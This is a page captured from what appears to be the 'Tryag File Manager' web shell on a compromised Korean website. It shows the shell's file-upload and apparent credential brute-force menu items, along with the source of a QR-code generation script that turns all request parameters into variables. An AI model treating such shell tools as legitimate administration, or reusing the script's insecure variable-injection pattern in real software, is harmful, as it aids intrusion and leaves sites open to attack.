Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
egg.eemo.co.kr
/
public_html
/
super5
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/egg.eemo.co.kr/public_html/super5/sensor_qrcode_create_do.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_GET as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } foreach($_POST as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } $n=$num; $arr=array(); for($i=1;$i<=$n;$i++) { $bb=recall_id(); } function recall_id() { global $no; global $lot_code; $bb=strtoupper(gen_uuid()); $rs=RS("select * from sensor_qrcode where vcode='$bb' "); if($rs[no]) { recall_id(); } else { mysql_query("insert into sensor_qrcode set vcode='$bb', regdate=now() ") or die(); return $bb; } } function gen_uuid() { return sprintf('SS%02x', mt_rand( 0, 0xff ) ).sprintf('-%04d', mt_rand( 0, 0xfff ) ); } $rst['rst']='1'; echo json_encode($rst); ?>